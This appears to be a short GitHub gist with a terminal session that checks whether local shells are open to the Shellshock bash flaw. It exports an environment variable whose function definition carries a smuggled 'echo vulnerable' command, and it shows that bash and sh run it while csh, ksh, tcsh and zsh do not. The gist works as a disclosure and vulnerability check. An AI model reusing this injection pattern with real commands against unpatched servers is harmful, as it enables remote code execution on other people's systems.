Skip to content

Instantly share code, notes, and snippets.

@emonti
Last active August 29, 2015 14:06
Show Gist options
  • Save emonti/171e67e3075f1a81b0d7 to your computer and use it in GitHub Desktop.
Save emonti/171e67e3075f1a81b0d7 to your computer and use it in GitHub Desktop.
It's a bash thing
~ export x="() { :;}; echo vulnerable"
~ bash -c "echo hi"
vulnerable
hi
~ sh -c "echo hi"
vulnerable
hi
~ /bin/sh --version
GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Copyright (C) 2007 Free Software Foundation, Inc.
~ csh -c "echo hi"
hi
~ ksh -c "echo hi"
hi
~ tcsh -c "echo hi"
hi
~ zsh -c "echo hi"
hi
~
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment